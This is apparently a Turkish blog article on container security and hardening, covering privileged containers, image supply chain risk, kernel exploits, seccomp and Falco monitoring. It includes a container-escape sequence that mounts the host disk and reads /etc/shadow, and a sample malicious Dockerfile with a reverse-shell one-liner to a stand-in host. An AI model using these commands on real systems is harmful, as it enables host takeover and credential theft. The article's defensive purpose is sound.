Ayrıcalıklı (privileged) bir container içinde cap_sys_admin yetkisini gördüğün an, izolasyonun bittiği ve host sistemin teslim edildiği andır. Çoğu kişi containerları hafif sanal makineler sanıyor ama aslında sadece host kernel'ı üzerinde koşan, isim alanları (namespaces) ve kontrol grupları (cgroups) ile sınırlandırılmış birer prosesten ibaretler. Eğer bu sınırları doğru çizmezsen, saldırganın container'dan fırlayıp ana sisteme (host) sıçraması sadece saniyeler sürer.
O Meşhur '--privileged' Bayrağı ve Felakete Davetiye
Sahada en çok gördüğüm hata, 'çalışmıyor' diye yetkiyi köküne kadar açmak. Bir container'ı --privileged flag'i ile başlattığında, ona host üzerindeki neredeyse tüm aygıtlara erişim izni vermiş olursun. Bu, izolasyon duvarını kendi ellerinle yıkmak demek.
Saldırganın bu durumda yapacağı ilk şey, host diskini kendi container'ına mount etmektir. Şöyle bir senaryo düşün:
# Container içinde olduğumuzu varsayalım (Zararsızlaştırılmış örnek)
# Host'un ana diskini buluyoruz
lsblk
# Host diskini bir klasöre mount ediyoruz
mkdir /mnt/host_root
mount /dev/sda1 /mnt/host_root
# Artık host'un /etc/shadow dosyasına erişebilir,
# yeni bir kullanıcı ekleyebilir veya SSH anahtarlarını çalabiliriz.
cat /mnt/host_root/etc/shadow
Bu kadar basit. Bu yüzden, testCompany bünyesinde prod ortamına çıkan her imajın yetki setini (capabilities) didik didik ediyoruz. CAP_SYS_ADMIN gibi yetkiler 'God Mode' gibidir, kesinlikle zorunlu olmadıkça verilmemelidir.
İmajın İçindeki Truva Atı: Supply Chain Güvenliği
Docker Hub üzerinden latest tag'i ile imaj çekmek, kimin hazırladığını bilmediğin bir USB belleği sunucuya takmakla eşdeğerdir. Saldırganlar popüler imajların benzer isimlerini alarak (typosquatting) içine 'reverse shell' veya 'cryptominer' gömülmüş paketler yerleştirebiliyorlar.
Payload şöyle bir şeye benzeyebilir (Pseudo-code):
FROM library/ubuntu:latest
RUN apt-get update && apt-get install -y reverse-shell-client
# Arka planda gizlice çalışacak bir script
COPY entrypoint.sh /usr/local/bin/
ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]
Buradaki entrypoint.sh içinde sh -i >& /dev/tcp/example.com/4444 0>&1 gibi bir komutun gizlendiğini düşün. Container ayağa kalktığı an senin ağından dışarıya bir tünel açılır.
Ne yapmalıyız?
- Tag kullanma, Digest kullan:
image: ubuntu:22.04yerineimage: ubuntu@sha256:45b23d...kullanarak imajın değişmediğinden emin ol. - Statik Analiz (SAST): İmajları daha build aşamasındayken
TrivyveyaGrypegibi araçlarla tara.
Kernel Açıkları: Container'ın Aşil Topuğu
Container'lar host ile aynı kernel'ı paylaşır. Bu, eğer kernel üzerinde bir 'Privilege Escalation' (Yetki Yükseltme) açığı varsa, container içindeki bir kullanıcının doğrudan host'ta root olabileceği anlamına gelir. DirtyCow (CVE-2016-5195) veya Dirty Pipe (CVE-2022-0847) gibi açıklar bu durumun en klasik örnekleridir.
Container içinden kernel exploit etmek için yazılan kodlar genelde kernel bellek adreslerini manipüle eder. Savunma tarafında ise seccomp (Secure Computing Mode) profilleri hayat kurtarır. seccomp, bir container'ın kernel'a yapabileceği sistem çağrılarını (syscall) kısıtlar. Örneğin, bir web uygulamasının mount() veya reboot() sistem çağrısını yapmasına neden ihtiyacı olsun ki? Eğer bu çağrıları engellersen, exploit çalışsa bile kernel seviyesinde engellenir.
Runtime Security: İzlemek mi, Durdurmak mı?
Statik taramalar bir yere kadar korur. Saldırı anlık gerçekleşir. Runtime güvenliği için Falco gibi araçlar kullanarak sistem çağrılarını anlık olarak izlemelisin.
Örneğin, Falco'da şöyle bir kural setinin seni gece uykundan uyandırması gerekir:
- rule: Shell run in container
desc: A shell was spawned in a container with a suspicious user
condition: container.id != host and proc.name = sh and user.name != root
output: "Züpheli aktivite: Container içinde shell açıldı (user=%user.name container_id=%container.id)"
priority: WARNING
Bu kural, prod ortamında koşan bir container içinde birisi exec yapıp içeri girdiğinde seni anında uyarır. Red Team tarafında biz bu izleme mekanizmalarını atlatmak için genellikle mevcut proseslerin içine kod enjekte etmeye veya dosyasız (fileless) saldırılar denemeye çalışırız ama sağlam bir kısıtlama politikası işimizi çok zorlaştırır.
Hardening İçin 5 Altın Kural
İşi biraz daha somutlaştıralım. Bir sistem yöneticisi veya DevOps mühendisi olarak şu adımları atmalısın:
- Rootless Docker/Podman: Mümkünse container daemon'ını ve container'ları root olmayan bir kullanıcı ile çalıştır.
- ReadOnly Root Filesystem: Container'ın dosya sistemini read-only yap. Eğer saldırgan içeri sızsa bile bir exploit indiremez veya bir script yazamaz.
docker run --read-only ... - Resource Limits:
cgroupskullanarak CPU ve RAM limitleri koy. Bu, hem DoS saldırılarını hem de container içinde çalıştırılabilecek cryptominer'ları engeller. - No New Privileges: Container içindeki bir prosesin
setuidveyasetgidbitleri aracılığıyla yeni yetkiler kazanmasını engelle.docker run --security-opt=no-new-privileges ... - Network Policies: Kubernetes kullanıyorsan, container'lar arası trafiği default-deny (varsayılan engel) yap. Sadece birbirine ihtiyacı olan servisler konuşabilsin.
Container güvenliği, bir kez yapılıp unutulacak bir check-list değil, sürekli bir izleme ve iyileştirme döngüsüdür. Unutma, en güvenli container, çalışmayan container'dır; ama madem çalıştırıyoruz, o zaman sınırları biz çizmeliyiz, saldırganlar değil.
